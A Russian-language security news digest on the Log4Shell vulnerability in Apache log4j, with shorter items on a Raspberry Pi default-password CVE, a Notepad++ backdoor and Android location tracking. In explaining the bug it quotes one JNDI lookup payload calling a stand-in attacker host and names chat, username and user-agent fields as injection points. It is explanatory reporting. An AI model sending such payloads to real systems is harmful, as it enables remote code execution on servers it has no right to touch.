На прошлой неделе, 9 декабря, были обнародованы детали уязвимости в Apache log4j, библиотеке для сбора и обработки логов. Уязвимость CVE-2021-44228 приводит к выполнению произвольного кода и эксплуатируется тривиально, о чем свидетельствует самый высокий рейтинг по шкале CVSS — 10 баллов. Это достаточно редкий в сфере информационной безопасности случай «идеального шторма»: уязвимость эксплуатируется легко, при этом подчас сложно определить все уязвимые приложения в инфраструктуре и накатить патч в условиях активных попыток взлома.


Дыру в log4j часто сравнивают с уязвимостью Heartbleed 2014 года. Тогда в библиотеке OpenSSL была обнаружена ошибка, приводящая к утечке данных из памяти. Она позволяла удаленно и скрытно извлекать секреты, и также принесла администраторам систем массу проблем. Сложно было не столько обнаружить все уязвимые инсталляции, сколько определить, какие данные теоретически могли быть похищены. У Heartbleed и безымянной (не считая креатива в MS Paint) уязвимости в log4j есть и еще один общий момент: это открытые проекты, разрабатываемые в условиях перманентной нехватки ресурсов.


Ссылки по теме:

• Обсуждение на Хабре.
• Запись CVE в базе данных MITRE.
• Пост в блоге компании Cloudflare с описанием уязвимости.
• От них же — сводка по попыткам эксплуатации.
• Два тикета в баг-трекере Apache.
• Обновляемый пост в блоге компании Lunasec с примерами кода.
• Подробное исследование 2016 года, в котором описываются общие методы эксплуатации уязвимостей, подобных обнаруженной в log4j.

Последняя ссылка в списке представляет особенный интерес: на конференции BlackHat 2016 года проблема 2021 года была, по сути, предсказана. Там описываются общие принципы работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных. В 2013 году в log4j версии 2.0 добавляется фича JNDI Lookup Plugin. Была реализована комбинация из интерфейса JNDI и протокола LDAP, позволяющая получать и выполнять данные откуда угодно. Команда на запрос объекта выглядит примерно так:

${jndi:ldap://attacker.com/a}

Проблема заключается в том, что log4j никак не ограничивал прием данных — они могли быть загружены откуда угодно. Более того, строка обрабатывалась при обнаружении в логах (а не только, например, в конфигурационных файлах, которые контролирует только администратор), то есть у потенциального атакующего появлялась возможность направить log4j на вредоносный объект и выполнить его на сервере жертвы. Уязвимость закрыта в версии 2.15.0, но еще какое-то время потребуется на включение обновленной библиотеки в использующее ее программное обеспечение. Временное решение до установки патча — отключить уязвимую функциональность:

JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true"

Уязвимого софта, использующего log4j, много. Есть как очевидные примеры (фреймворк Apache Struts), так и нетривиальные (ПО для реверс-инжиниринга Ghidra).


Первые публичные сообщения об эксплуатации уязвимости и вовсе пошли от владельцев игровых серверов Minecraft — там для взлома оказалось достаточно сбросить волшебное заклинание в чат. Отсюда и высочайшая оценка опасности данной проблемы: оказаться в логах можно разными путями, иногда простейшими. Ввести строку-запрос к вредоносному серверу вместо имени пользователя или даже подключиться к серверу, передав код в поле user-agent. В ближайшее время мы наверняка узнаем и о менее очевидных способах эксплуатации. Проблема настолько серьезная, что компания Cloudflare начала фильтровать характерные запросы в трафике для всех своих клиентов.


Уязвимость в log4j вновь поднимает вопрос нехватки ресурсов при разработке стратегически важного кода. В твите выше приведена цитата от одного из разработчиков log4j, который работает над проектом «в свободное время». Не получившие достаточного внимания «общественные» проекты потом используются в крупных коммерческих решениях, что в результате и приводит к драме прошлой недели. Когда обнаруживается ошибка, добровольцы-мейнтейнеры ничего, кроме проклятий, не получают, и с этим, кажется, надо что-то делать. А пока выходит классическая ситуация из этого комикса XKCD:


Что еще произошло:


Своего рода антитеза к описанному выше пожару: 8 декабря идентификатор CVE присвоили стандартной фиче в Raspberry Pi OS. Многим известно, что из коробки эта система получает стандартного пользователя pi с паролем raspberry. И нет, эту «проблему» нельзя просто так взять и эксплуатировать, так как сервер ssh для удаленного доступа по умолчанию выключен. В обсуждениях уже назвали создание CVE для такой банальности дурацким хайпом, но есть нюанс. Raspberry Pi хоть и является любительским микрокомпьютером, однако вполне может оказаться в составе корпоративной инфраструктуры. Пароль в таком случае желательно поменять. Можно ли гарантировать, что его будут менять все и всегда? Вряд ли. CVE, таким образом, может служить не откровением о ранее неизвестной прорехе, а пунктом для проверки в списке аудитора безопасности.

Редкое сочетание багов в Android и приложении Microsoft Teams (и только если вы там не залогинены) не позволяет позвонить с телефона в службы спасения.

Свежее исследование описывает бэкдор, распространяемый в качестве довеска к редактору Notepad++.

Издание Vice пишет про рекламный модуль, внедренный в ряд приложений под Android, который собирал данные о местоположении пользователя, даже если тот запрещал это делать. Скрытая слежка была обнаружена еще в октябре, а на прошлой неделе компания Google потребовала от разработчиков приложений явно декларировать постоянную геолокацию.